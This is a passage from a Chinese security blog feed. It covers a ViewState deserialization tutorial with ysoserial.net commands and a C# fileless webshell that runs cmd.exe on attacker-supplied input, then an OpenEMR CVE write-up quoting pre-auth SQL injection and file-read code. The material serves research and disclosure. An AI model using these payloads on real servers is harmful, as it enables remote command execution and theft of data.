<p>&#x6211;&#x5011;&#x53EA;&#x9700;&#x8981;&#x4FEE;&#x6539; -g &#x7684;&#x53C3;&#x6578;&#x6210; ActivitySurrogateSelectorFromFile&#xFF0C;&#x800C; -c &#x53C3;&#x6578;&#x653E;&#x7684;&#x5C31;&#x4E0D;&#x518D;&#x662F;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x800C;&#x662F;&#x60F3;&#x57F7;&#x884C;&#x7684; ExploitClass.cs C# &#x7A0B;&#x5F0F;&#x78BC;&#x6A94;&#x6848;&#xFF0C;&#x5F8C;&#x9762;&#x7528; ; &#x5206;&#x865F;&#x5206;&#x9694;&#x52A0;&#x4E0A;&#x6240;&#x4F9D;&#x8CF4;&#x9700;&#x8981;&#x5F15;&#x5165;&#x7684; dll&#x3002;</p>
<pre><code>ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile
              -c &quot;ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll&quot;
              --generator=&quot;CA0B0334&quot;
              --validationalg=&quot;SHA1&quot;
              --validationkey=&quot;B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5&quot;
</code></pre>
<p>&#x95DC;&#x65BC;&#x9700;&#x8981;&#x5F15;&#x5165;&#x7684; dll &#x53EF;&#x4EE5;&#x5728;&#x5B89;&#x88DD;&#x4E86; .NET Framework &#x7684; Windows &#x4E3B;&#x6A5F;&#x4E0A;&#x627E;&#x5230;&#xFF0C;&#x50CF;&#x6211;&#x7684;&#x74B0;&#x5883;&#x662F;&#x5728;&#x9019;&#x500B;&#x8DEF;&#x5F91; <code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319</code> &#x4E4B;&#x4E2D;&#x3002;</p>
<br>
<p>&#x81F3;&#x65BC;&#x6700;&#x95DC;&#x9375;&#x7684; ExploitClass.cs &#x8A72;&#x5982;&#x4F55;&#x64B0;&#x5BEB;&#x5462;&#xFF1F;&#x5C07;&#x4F86;&#x6703;&#x8A66;&#x8457;&#x63D0;&#x4EA4;&#x7D66; <a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a>&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x5728;&#x7BC4;&#x4F8B;&#x6A94;&#x6848;&#x88E1;&#x627E;&#x5230;&#x5B83;&#xFF0C;&#x6216;&#x662F;&#x53EF;&#x4EE5;&#x5148;&#x76F4;&#x63A5;&#x770B;&#x9019;&#x88E1;&#xFF1A;</p>
<pre><code class="language-CSharp">class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = &quot;cmd.exe&quot;;
            string cmd = context.Request.Form[&quot;cmd&quot;];
            process.StartInfo.Arguments = &quot;/c &quot; + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}
</code></pre>
<p>&#x5176;&#x4E2D; <code>Server.ClearError()</code> &#x548C; <code>Response.End()</code> &#x90FD;&#x662F;&#x5FC5;&#x8981;&#x4E14;&#x91CD;&#x8981;&#x7684;&#x4E00;&#x6B65;&#xFF0C;&#x56E0;&#x70BA;&#x7570;&#x5E38;&#x7684; VIEWSTATE &#x5FC5;&#x7136;&#x6703;&#x4F7F;&#x5F97; aspx &#x9801;&#x9762;&#x56DE;&#x61C9; 500 &#x6216;&#x5176;&#x4ED6;&#x975E;&#x9810;&#x671F;&#x7684; Server Error&#xFF0C;&#x800C;&#x547C;&#x53EB;&#x7B2C;&#x4E00;&#x500B;&#x51FD;&#x5F0F;&#x53EF;&#x4EE5;&#x5354;&#x52A9;&#x6E05;&#x9664;&#x5728;&#x7576;&#x524D; Runtime &#x74B0;&#x5883;&#x4E0B; stack &#x4E2D;&#x6240;&#x8A18;&#x9304;&#x7684;&#x932F;&#x8AA4;&#xFF0C;&#x800C;&#x547C;&#x53EB; End() &#x53EF;&#x4EE5;&#x8B93; ASP.NET &#x5C07;&#x7576;&#x524D;&#x4E0A;&#x4E0B;&#x6587;&#x6A19;&#x8A18;&#x70BA;&#x8ACB;&#x6C42;&#x5DF2;&#x8655;&#x7406;&#x5B8C;&#x6210;&#x4E26;&#x76F4;&#x63A5;&#x5C07; Response &#x56DE;&#x61C9;&#x7D66;&#x5BA2;&#x6236;&#x7AEF;&#xFF0C;&#x907F;&#x514D;&#x7A0B;&#x5F0F;&#x7E7C;&#x7E8C;&#x9032;&#x5165;&#x5176;&#x4ED6; Error Handler &#x8655;&#x7406;&#x5C0E;&#x81F4;&#x7121;&#x6CD5;&#x53D6;&#x5F97;&#x6307;&#x4EE4;&#x57F7;&#x884C;&#x7684;&#x8F38;&#x51FA;&#x7D50;&#x679C;&#x3002;</p>
<p>&#x5230;&#x9019;&#x500B;&#x6B65;&#x9A5F;&#x7684;&#x8A71;&#xFF0C;&#x7406;&#x8AD6;&#x4E0A;&#x4F60;&#x53EA;&#x8981;&#x9001;&#x51FA;&#x8ACB;&#x6C42;&#x6642;&#x56FA;&#x5B9A;&#x5E36;&#x4E0A;&#x9019;&#x500B;&#x60E1;&#x610F; VIEWSTATE&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x50CF;&#x64CD;&#x4F5C;&#x4E00;&#x822C; WebShell &#x4E00;&#x6A23;&#xFF1A;<br>
<img src="https://cyku.tw/content/images/2020/03/play-with-viewstate-exploit-and-create-fileless-webshell_01.png" alt="play-with-viewstate-exploit-and-create-fileless-webshell_01" loading="lazy"></p>
<br>
<p>&#x4E0D;&#x904E;&#x6709;&#x6642;&#x4E5F;&#x6703;&#x51FA;&#x73FE;&#x9019;&#x7A2E;&#x60C5;&#x5883;&#xFF1A;<br>
<img src="https://cyku.tw/content/images/2020/03/play-with-viewstate-exploit-and-create-fileless-webshell_02.png" alt="play-with-viewstate-exploit-and-create-fileless-webshell_02" loading="lazy"></p>
<br>
<p>&#x4E0D;&#x8AD6;&#x600E;&#x9EBC;&#x6539; Payload &#x518D;&#x91CD;&#x9001;&#x6C38;&#x9060;&#x90FD;&#x662F;&#x5F97;&#x5230; Server Error&#xFF0C;&#x65BC;&#x662F;&#x5C31;&#x958B;&#x59CB;&#x61F7;&#x7591;&#x81EA;&#x5DF1;&#x7684;&#x4EBA;&#x751F; Q_Q</p>
<p>&#x4F46;&#x4E5F;&#x5225;&#x6025;&#x8457;&#x7070;&#x5FC3;&#xFF0C;&#x53EF;&#x80FD;&#x53EA;&#x662F;&#x4F60;&#x9047;&#x4E0A;&#x7684;&#x76EE;&#x6A19;&#x6709;&#x5F88;&#x4E56;&#x5730;&#x5B9A;&#x671F;&#x66F4;&#x65B0;&#x4E86;&#x4F3A;&#x670D;&#x5668;&#x800C;&#x5DF2;&#xFF0C;&#x56E0;&#x70BA;&#x5FAE;&#x8EDF;&#x66FE;&#x70BA;&#x4E86; ActivitySurrogateSelector &#x9019;&#x500B; gadget &#x52A0;&#x4E0A;&#x4E86;&#x4E00;&#x4E9B; patch&#xFF0C;&#x5C0E;&#x81F4;&#x7121;&#x6CD5;&#x76F4;&#x63A5;&#x5229;&#x7528;&#xFF0C;&#x597D;&#x5728;&#x6709;&#x5176;&#x4ED6;&#x7814;&#x7A76;&#x8005;&#x99AC;&#x4E0A;&#x63D0;&#x4F9B;&#x4E86;&#x89E3;&#x6C7A;&#x65B9;&#x6CD5;&#x4F7F;&#x5F97;&#x9019;&#x500B; gadget &#x80FD;&#x518D;&#x6B21;&#x88AB;&#x5229;&#x7528;&#xFF01;</p>
<p>&#x8A73;&#x7D30;&#x7D30;&#x7BC0;&#x53EF;&#x4EE5;&#x95B1;&#x8B80;&#x9019;&#x7BC7;&#x6587;&#x7AE0;&#xFF1A;<a href="https://silentbreaksecurity.com/re-animating-activitysurrogateselector/">Re-Animating ActivitySurrogateSelector | Silent Break Security</a></p>
<br>
<p>&#x7E3D;&#x800C;&#x8A00;&#x4E4B;&#xFF0C;&#x5982;&#x679C;&#x9047;&#x5230;&#x4E0A;&#x8FF0;&#x60C5;&#x5F62;&#xFF0C;&#x53EF;&#x4EE5;&#x5148;&#x5617;&#x8A66;&#x7528;&#x4EE5;&#x4E0B;&#x6307;&#x4EE4;&#x7522;&#x751F; VIEWSTATE &#x4E26;&#x767C;&#x9001;&#x4E00;&#x6B21;&#x7D66;&#x4F3A;&#x670D;&#x5668;&#xFF0C;&#x9806;&#x5229;&#x7684;&#x8A71;&#x5C31;&#x80FD;&#x4F7F;&#x76EE;&#x6A19; Runtime &#x74B0;&#x5883;&#x4E0B;&#x7684; DisableActivitySurrogateSelectorTypeCheck &#x8B8A;&#x6578;&#x503C;&#x88AB;&#x8A2D;&#x70BA; true&#xFF0C;&#x96A8;&#x5F8C;&#x518D;&#x767C;&#x9001;&#x7684; ActivitySurrogateSelector gadget &#x5C31;&#x4E0D;&#x6703;&#x518D;&#x5674;&#x51FA; 500 Server Error &#x4E86;&#x3002;</p>
<pre><code>ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
              -c &quot;ignore&quot;
              --generator=&quot;CA0B0334&quot;
              --validationalg=&quot;SHA1&quot;
              --validationkey=&quot;B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5&quot;
</code></pre>
<br>
<br>
<p>&#x5982;&#x679C;&#x4E0A;&#x8FF0;&#x4E00;&#x5207;&#x90FD;&#x5F88;&#x9806;&#x5229;&#x3001;&#x6210;&#x529F;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x4E26;&#x56DE;&#x50B3;&#x4E86;&#x7D50;&#x679C;&#xFF0C;&#x57FA;&#x672C;&#x4E0A;&#x5C31;&#x8DB3;&#x5920;&#x505A;&#x5927;&#x90E8;&#x5206;&#x4E8B;&#x60C5;&#xFF0C;&#x800C;&#x5269;&#x4E0B;&#x7684;&#x5C31;&#x662F;&#x7E7C;&#x7E8C;&#x76E1;&#x60C5;&#x767C;&#x63EE;&#x4F60;&#x7684;&#x60F3;&#x50CF;&#x529B;&#x5427;&#xFF01;</p>
<p>&#x4E0D;&#x904E;&#x6709;&#x6642;&#x5019;&#x5373;&#x4FBF;&#x5230;&#x4E86;&#x6B64;&#x4E00;&#x6B65;&#x9A5F;&#x9084;&#x662F;&#x6703;&#x6709;&#x4E0D;&#x660E;&#x7684;&#x932F;&#x8AA4;&#x3001;&#x4E0D;&#x660E;&#x7684;&#x539F;&#x56E0;&#x5C0E;&#x81F4; MAC &#x8A08;&#x7B97;&#x59CB;&#x7D42;&#x662F;&#x932F;&#x8AA4;&#x7684;&#xFF0C;&#x56E0;&#x70BA; .NET &#x5167;&#x90E8;&#x6F14;&#x7B97;&#x6CD5;&#x4EE5;&#x53CA;&#x9700;&#x8981;&#x7684;&#x74B0;&#x5883;&#x53C3;&#x6578;&#x7D44;&#x5408;&#x7A0D;&#x5FAE;&#x8907;&#x96DC;&#xFF0C;&#x4F7F;&#x5F97;&#x5DE5;&#x5177;&#x6C92;&#x8FA6;&#x6CD5;&#x8F15;&#x6613;&#x6DB5;&#x84CB;&#x6240;&#x6709;&#x53EF;&#x80FD;&#x60C5;&#x6CC1;&#xFF0C;&#x800C;&#x7576;&#x9047;&#x5230;&#x9019;&#x7A2E;&#x60C5;&#x5F62;&#x6642;&#xFF0C;&#x6211;&#x76EE;&#x524D;&#x9078;&#x64C7;&#x7684;&#x89E3;&#x6C7A;&#x65B9;&#x6CD5;&#x90FD;&#x662F;&#x767C;&#x63EE;&#x5DE5;&#x4EBA;&#x667A;&#x6167;&#xFF0C;&#x5617;&#x8A66;&#x5728;&#x672C;&#x6A5F;&#x5EFA;&#x7ACB;&#x74B0;&#x5883;&#x3001;&#x8A2D;&#x5B9A;&#x76F8;&#x540C;&#x7684; MachineKey&#x3001;&#x624B;&#x5DE5;&#x64B0;&#x5BEB; aspx &#x6A94;&#x6848;&#xFF0C;&#x7522;&#x751F;&#x5305;&#x542B; gadget &#x7684; VIEWSTATE &#x518D;&#x8F49;&#x9001;&#x5230;&#x76EE;&#x6A19;&#x4E3B;&#x6A5F;&#x4E0A;&#x3002;&#x5982;&#x679C;&#x4F60;&#x6709;&#x66F4;&#x591A;&#x767C;&#x73FE;&#x6216;&#x4E0D;&#x4E00;&#x6A23;&#x7684;&#x60F3;&#x6CD5;&#x9858;&#x610F;&#x5206;&#x4EAB;&#x7684;&#x8A71;&#xFF0C;&#x4E5F;&#x6B61;&#x8FCE;&#x4F86;&#x548C;&#x6211;&#x4EA4;&#x6D41;&#x804A;&#x804A;&#x5929;&#x3002;</p>
<br>
<p>&#x6B64;&#x7BC7;&#x6587;&#x7AE0;&#x540C;&#x6642;&#x767C;&#x8868;&#x65BC;&#xFF1A;<a href="https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/">DEVCORE Blog</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[簡單聊聊在 OpenEMR 5.0.1 <Patch 5 中發現的 CVE-2018-17179、CVE-2018-17180 及 CVE-2018-17181]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x8FD1;&#x6B66;&#x6F22;&#x80BA;&#x708E;&#x75AB;&#x60C5;&#x4E0D;&#x505C;&#x5EF6;&#x71D2;&#x3001;&#x6108;&#x767C;&#x56B4;&#x91CD;&#xFF0C;&#x6BCF;&#x500B;&#x4EBA;&#x90FD;&#x53EA;&#x80FD;&#x76E1;&#x529B;&#x505A;&#x597D;&#x81EA;&#x4E3B;&#x7BA1;&#x7406;&#x3001;&#x7167;&#x9867;&#x597D;&#x8EAB;&#x5B50;&#xFF0C;&#x4E5F;&#x5F97;&#x76E1;&#x91CF;&#x5225;&#x5728;&#x9019;&#x671F;&#x9593;&#x611F;&#x5192;</p>]]></description><link>https://cyku.tw/openemr-5-0-1-before-patch-5-cve/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f340f</guid><category><![CDATA[Web Security]]></category><category><![CDATA[CVE]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Mon, 10 Feb 2020 14:42:27 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x8FD1;&#x6B66;&#x6F22;&#x80BA;&#x708E;&#x75AB;&#x60C5;&#x4E0D;&#x505C;&#x5EF6;&#x71D2;&#x3001;&#x6108;&#x767C;&#x56B4;&#x91CD;&#xFF0C;&#x6BCF;&#x500B;&#x4EBA;&#x90FD;&#x53EA;&#x80FD;&#x76E1;&#x529B;&#x505A;&#x597D;&#x81EA;&#x4E3B;&#x7BA1;&#x7406;&#x3001;&#x7167;&#x9867;&#x597D;&#x8EAB;&#x5B50;&#xFF0C;&#x4E5F;&#x5F97;&#x76E1;&#x91CF;&#x5225;&#x5728;&#x9019;&#x671F;&#x9593;&#x611F;&#x5192;&#x800C;&#x9020;&#x6210;&#x984D;&#x5916;&#x64D4;&#x6182;&#xFF0C;&#x53F0;&#x7063;&#x76EE;&#x524D;&#x4ECD;&#x80FD;&#x9632;&#x6CBB;&#x4F4F;&#x75AB;&#x60C5;&#x4E5F;&#x5F97;&#x7279;&#x5225;&#x611F;&#x8B1D;&#x653F;&#x5E9C;&#x3001;&#x7B2C;&#x4E00;&#x7DDA;&#x91AB;&#x8B77;&#x4EBA;&#x54E1;&#x3001;&#x9632;&#x75AB;&#x4EBA;&#x54E1;&#x3001;&#x7B2C;&#x4E09;&#x65B9;&#x4EBA;&#x54E1;&#x7B49;&#x7B49;&#x8A31;&#x591A;&#x4EBA;&#x7684;&#x52AA;&#x529B;&#xFF01;</p>
<p>&#x7B46;&#x8005;&#x6211;&#x8EAB;&#x70BA;&#x6280;&#x8853;&#x5B85;&#xFF0C;&#x4E0D;&#x662F;&#x91AB;&#x8B77;&#x4EBA;&#x54E1;&#xFF0C;&#x53EA;&#x80FD;&#x4F5C;&#x70BA;&#x666E;&#x901A;&#x6C11;&#x773E;&#x76E1;&#x53EF;&#x80FD;&#x5730;&#x9075;&#x5F9E;&#x4E00;&#x4E9B;&#x653F;&#x7B56;&#x3001;&#x898F;&#x5B9A;&#x4EE5;&#x964D;&#x4F4E;&#x91AB;&#x7642;&#x4EBA;&#x54E1;&#x7684;&#x8CA0;&#x64D4;&#xFF0C;&#x4F46;&#x5373;&#x4F7F;&#x5982;&#x6B64;&#x4E5F;&#x9084;&#x662F;&#x5E0C;&#x671B;&#x80FD;&#x66FF;&#x91AB;&#x7642;&#x754C;&#x76E1;&#x4E00;&#x4EFD;&#x5FC3;&#x529B;&#xFF0C;&#x6240;&#x4EE5;&#x53EA;&#x597D;&#x767C;&#x63EE;&#x6240;&#x9577;&#x8A66;&#x8457;&#x5728;&#x91AB;&#x7642;&#x754C;&#x4E0D;&#x70BA;&#x4EBA;&#x77E5;&#x3001;&#x6C92;&#x6709;&#x76F4;&#x63A5;&#x95DC;&#x806F;&#x7684;&#x89D2;&#x843D;&#x4F5C;&#x51FA;&#x8CA2;&#x737B;&#xFF0C;&#x56E0;&#x6B64;&#x4ECA;&#x5929;&#x5C31;&#x4F86;&#x804A;&#x804A;&#x5F88;&#x4E45;&#x4E4B;&#x524D;&#x66FE;&#x5728;&#x958B;&#x6E90;&#x91AB;&#x7642;&#x7BA1;&#x7406;&#x7CFB;&#x7D71; OpenEMR &#x6240;&#x767C;&#x73FE;&#x7684; 3 &#x500B; Pre-Auth &#x5F31;&#x9EDE;&#x3002;</p>
<p>&#x904E;&#x53BB;&#x8CC7;&#x7B56;&#x6703;&#x8CC7;&#x5B89;&#x79D1;&#x6280;&#x7814;&#x7A76;&#x6240;&#x66FE;&#x7D93;&#x767C;&#x8868;&#x904E;&#x4E00;&#x7BC7;&#x6587;&#x7AE0; <a href="https://csticsfrontline.wordpress.com/2018/05/24/openemr-%E5%BC%B1%E9%BB%9E%E5%88%86%E6%9E%90/">OpenEMR &#x5F31;&#x9EDE;&#x5206;&#x6790;</a>&#xFF0C;&#x5206;&#x6790;&#x95DC;&#x65BC;&#x4ED6;&#x5011;&#x5728; OpenEMR &#x767C;&#x73FE;&#x7684; RCE &#x5F31;&#x9EDE;&#xFF0C;RCE &#x53EF;&#x4EE5;&#x8B93;&#x653B;&#x64CA;&#x8005;&#x76F4;&#x63A5;&#x63A7;&#x5236;&#x6574;&#x53F0;&#x4E3B;&#x6A5F;&#xFF0C;&#x662F;&#x975E;&#x5E38;&#x56B4;&#x91CD;&#x7684;&#x98A8;&#x96AA;&#xFF0C;&#x503C;&#x5F97;&#x6176;&#x5E78;&#x7684;&#x662F;&#x5F31;&#x9EDE;&#x5FC5;&#x9808;&#x8981;&#x5148;&#x767B;&#x5165;&#x64C1;&#x6709;&#x6B0A;&#x9650;&#x7684;&#x5E33;&#x865F;&#x624D;&#x53EF;&#x89F8;&#x767C;&#x3002;&#x4F46;&#x5018;&#x82E5;&#x653B;&#x64CA;&#x8005;&#x767C;&#x73FE;&#x53EF;&#x4EE5;&#x5728;&#x4E0D;&#x77E5;&#x9053;&#x5E33;&#x865F;&#x5BC6;&#x78BC;&#x7684;&#x524D;&#x63D0;&#x4E0B;&#x5F9E;&#x533F;&#x540D;&#x4F7F;&#x7528;&#x8005;&#xFF08;&#x672A;&#x767B;&#x5165;&#x72C0;&#x614B;&#xFF09;&#x63D0;&#x5347;&#x6B0A;&#x9650;&#xFF08;&#x767B;&#x5165;&#xFF09;&#x7684;&#x5F31;&#x9EDE;&#xFF0C;&#x5C31;&#x80FD;&#x9032;&#x4E00;&#x6B65;&#x64F4;&#x5927;&#x98A8;&#x96AA;&#xFF01;&#x56E0;&#x6B64;&#x6211;&#x6C7A;&#x5B9A;&#x6316;&#x6398; Pre-Auth &#x7684;&#x5F31;&#x9EDE;&#x4E26;&#x5C07;&#x4E4B;&#x56DE;&#x5831;&#x7D66;&#x958B;&#x767C;&#x8005;&#x4F5C;&#x4FEE;&#x5FA9;&#x4EE5;&#x9810;&#x9632;&#x6B64;&#x985E;&#x98A8;&#x96AA;&#x767C;&#x751F;&#xFF0C;&#x6700;&#x7D42;&#x767C;&#x73FE; 2 &#x500B; Pre-Auth SQL Injection &#x548C; 1 &#x500B; Pre-Auth Arbitrary File Read &#x5F31;&#x9EDE;&#xFF0C;&#x5176;&#x5C0D;&#x61C9; CVE &#x7DE8;&#x865F;&#x5206;&#x5225;&#x70BA; <strong>CVE-2018-17179</strong>&#x3001; <strong>CVE-2018-17181</strong> &#x548C; <strong>CVE-2018-17180</strong>&#x3002;</p>
<p>&#x9019;&#x908A;&#x4E5F;&#x611F;&#x8B1D;&#x958B;&#x767C;&#x8005; <a href="https://github.com/bradymiller">Brady Miller</a> &#x56DE;&#x61C9;&#x53CA;&#x4FEE;&#x5FA9;&#x771F;&#x7684;&#x975E;&#x5E38;&#x5730;&#x8FC5;&#x901F;&#x3002;<br>
Thanks to the developer <a href="https://github.com/bradymiller">Brady Miller</a> for very quick respond and fix.</p>
<h2 id="cve201817179sqlinjection">CVE-2018-17179 : SQL Injection</h2>
<p>&#x6B64;&#x5F31;&#x9EDE;&#x5DF2;&#x5728; <a href="https://github.com/openemr/openemr/commit/3e22d11">commit 3e22d11</a> &#x4E2D;&#x7372;&#x5F97;&#x4E86;&#x4FEE;&#x5FA9;&#x3002;</p>
<p>&#x6B64;&#x5F31;&#x9EDE;&#x7684;&#x9032;&#x5165;&#x9EDE;&#x662F; taskman.php &#x9019;&#x500B;&#x6A94;&#x6848;&#xFF0C;&#x9019;&#x500B;&#x8DEF;&#x5F91;&#x4E0D;&#x9700;&#x8981;&#x767B;&#x5165;&#x3001;&#x4EFB;&#x4F55;&#x4EBA;&#x5747;&#x53EF;&#x5B58;&#x53D6;&#x3002;&#x7576;&#x8ACB;&#x6C42;&#x52D5;&#x4F5C;&#x662F; make_task &#x6642;&#x6703;&#x8F49;&#x4EA4;&#x7D66; make_task &#x51FD;&#x5F0F;&#x4F5C;&#x8655;&#x88E1;&#x3002;</p>
<pre><code>File: /interface/forms/eye_mag/taskman.php
100: $ajax_req = $_REQUEST;
101: 
102: if ($_REQUEST[&apos;action&apos;]==&apos;make_task&apos;) {
103:     make_task($ajax_req);
104: }
</code></pre>
<p>&#x800C; make_task &#x51FD;&#x5F0F;&#x4E2D;&#xFF0C;&#x9032;&#x884C; SELECT &#x67E5;&#x8A62;&#x6642;&#x90FD;&#x6709;&#x904E;&#x6FFE;&#xFF0C;&#x552F;&#x7368;&#x5728; INSERT &#x6642;&#x907A;&#x6F0F;&#x4E86;&#xFF0C;&#x56E0;&#x6B64;&#x9019;&#x908A;&#x5F88;&#x55AE;&#x7D14;&#x5C31;&#x80FD;&#x76F4;&#x63A5;&#x9032;&#x884C;&#x6CE8;&#x5165;&#xFF0C;&#x6070;&#x597D;&#x6B64;&#x8655;&#x6703;&#x986F;&#x793A; SQL &#x932F;&#x8AA4;&#x8A0A;&#x606F;&#xFF0C;&#x65BC;&#x662F;&#x53EF;&#x4EE5;&#x5229;&#x7528; Error-Based &#x7372;&#x53D6;&#x8CC7;&#x6599;&#x5EAB;&#x5167;&#x5BB9;&#xFF0C;&#x5305;&#x62EC;&#x53D6;&#x5F97;&#x4F7F;&#x7528;&#x8005;&#x5E33;&#x865F;&#x5BC6;&#x78BC;&#x4EE5;&#x767B;&#x5165;&#x7CFB;&#x7D71;&#x9032;&#x884C;&#x66F4;&#x591A;&#x64CD;&#x4F5C;&#x3002;</p>
<pre><code>File: /interface/forms/eye_mag/php/taskman_functions.php
35: function make_task($ajax_req)
36: {
37:     global $send;
38:     $from_id    = $ajax_req[&apos;from_id&apos;];
39:     $to_id      = $ajax_req[&apos;to_id&apos;];
40:     $patient_id = $ajax_req[&apos;pid&apos;];
41:     $doc_type   = $ajax_req[&apos;doc_type&apos;];
42:     $doc_id     = $ajax_req[&apos;doc_id&apos;];
43:     $enc        = $ajax_req[&apos;enc&apos;];

93:     } else if (!$task[&apos;ID&apos;]) {
94:         $sql = &quot;INSERT into form_taskman
95: 				(REQ_DATE, FROM_ID,  TO_ID,  PATIENT_ID,  DOC_TYPE,  DOC_ID,  ENC_ID) VALUES
96: 				(NOW(), &apos;$from_id&apos;, &apos;$to_id&apos;,&apos;$patient_id&apos;,&apos;$doc_type&apos;,&apos;$doc_id&apos;,&apos;$enc&apos;)&quot;;
97:         sqlQuery($sql);
</code></pre>
<h2 id="cve201817180arbitraryfileread">CVE-2018-17180 : Arbitrary File Read</h2>
<p>&#x6B64;&#x5F31;&#x9EDE;&#x5728; <a href="https://github.com/openemr/openemr/commit/4963fe4">commit 4963fe4</a> &#x4E2D;&#x7372;&#x5F97;&#x4E86;&#x4FEE;&#x5FA9;&#x3002;</p>
<p>&#x9032;&#x5165;&#x9EDE; download_template.php &#x63A5;&#x6536;&#x4E00;&#x500B;&#x53C3;&#x6578; docid&#xFF0C;&#x6B64;&#x53C3;&#x6578;&#x96A8;&#x5F8C;&#x6703;&#x4EE3;&#x5165;&#x8DEF;&#x5F91;&#xFF0C;&#x4E26;&#x5229;&#x7528; file_get_contents &#x51FD;&#x5F0F;&#x8B80;&#x53D6;&#x6A94;&#x6848;&#x5167;&#x5BB9;&#x5F8C;&#x4F5C;&#x8F38;&#x51FA;&#x3002;&#x6B64;&#x6A94;&#x6848;&#x9664;&#x4E86;&#x8981;&#x6C42;&#x5FC5;&#x9808;&#x555F;&#x7528;&#x300C;Patient Portal&#x300D;&#x7684;&#x529F;&#x80FD;&#x624D;&#x53EF;&#x5B58;&#x53D6;&#x4EE5;&#x5916;&#xFF0C;&#x5728;&#x6A94;&#x6848;&#x958B;&#x982D;&#x9084;&#x5F15;&#x5165;&#x4E86; verify_session.php&#xFF0C;&#x5F9E;&#x6A94;&#x6848;&#x540D;&#x7A31;&#x4F86;&#x770B;&#x4F3C;&#x4E4E;&#x6709;&#x9032;&#x884C;&#x4E00;&#x4E9B;&#x9A57;&#x8B49;&#x7684;&#x611F;&#x89BA;&#x3002;</p>
<pre><code>File: /portal/lib/download_template.php
27: require_once(dirname(__file__) . &quot;/../verify_session.php&quot;);

36: $form_filename = $_POST[&apos;docid&apos;];

371: $templatepath = &quot;$templatedir/$form_filename&quot;;
    
440:     // Not a zip archive.
441:     $edata = file_get_contents($templatepath);
442:     $edata = doSubs($edata);
443:     if ($html_flag) { // return raw html template
444:         $html = $edata;
445:     } else { // add br for lf in text template
446:         $html = nl2br($edata);
447:     }
448: }
449: 
450: echo $html;
</code></pre>
<p>&#x56E0;&#x6B64;&#x8B93;&#x6211;&#x5011;&#x8FFD;&#x9032; verify_session.php &#x770B;&#x770B;&#xFF0C;&#x5728;&#x9019;&#x908A;&#x9A57;&#x8B49;&#x4E86;&#x8B8A;&#x6578; <code>$_SESSION[&apos;pid&apos;]</code> &#x548C; <code>$_SESSION[&apos;patient_portal_onsite_two&apos;]</code> &#x662F;&#x5426;&#x5B58;&#x5728;&#xFF0C;&#x82E5;&#x8B8A;&#x6578;&#x4E0D;&#x5B58;&#x5728;&#x5247;&#x6703;&#x5F37;&#x5236;&#x8DF3;&#x8F49;&#x5230;&#x767B;&#x5165;&#x9801;&#x9762;&#x3002;</p>
<pre><code>File: /portal/verify_session.php
41: // kick out if patient not authenticated
42: if (isset($_SESSION[&apos;pid&apos;]) &amp;&amp; isset($_SESSION[&apos;patient_portal_onsite_two&apos;])) {
43:     $pid = $_SESSION[&apos;pid&apos;];
44: } else {
45:     session_destroy();
46:     header(&apos;Location: &apos;.$landingpage.&apos;&amp;w&apos;);
47:     exit;
48: }
</code></pre>
<p>&#x672C;&#x4F86;&#x9810;&#x60F3;&#x662F;&#x4E0D;&#x53EF;&#x80FD;&#x7E5E;&#x904E;&#x6B64;&#x9650;&#x5236;&#xFF0C;&#x4F46;&#x5728;&#x95B1;&#x89BD;&#x5176;&#x4ED6;&#x6A94;&#x6848;&#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#x5F8C;&#x610F;&#x5916;&#x767C;&#x73FE;&#x7576; index.php &#x6536;&#x5230;&#x7279;&#x5B9A;&#x8ACB;&#x6C42;&#x6642;&#xFF0C;&#x6703;&#x5C07; <code>$_SESSION[&apos;pid&apos;]</code> &#x548C; <code>$_SESSION[&apos;patient_portal_onsite_two&apos;]</code> &#x540C;&#x6642;&#x8A2D;&#x5B9A;&#x70BA; true&#xFF0C;&#x56E0;&#x6B64;&#x5C31;&#x80FD;&#x7E5E;&#x904E;&#x539F; verify_session.php &#x4E2D;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x9054;&#x6210; Pre-Auth Arbitrary File Read&#x3002;</p>
<pre><code>File: /portal/index.php
351: if (isset($_GET[&apos;requestNew&apos;])) {
352:     $_SESSION[&apos;patient_portal_onsite_two&apos;] = true;
353:     $_SESSION[&apos;authUser&apos;] = &apos;portal-user&apos;;
354:     $_SESSION[&apos;pid&apos;] = true;
</code></pre>
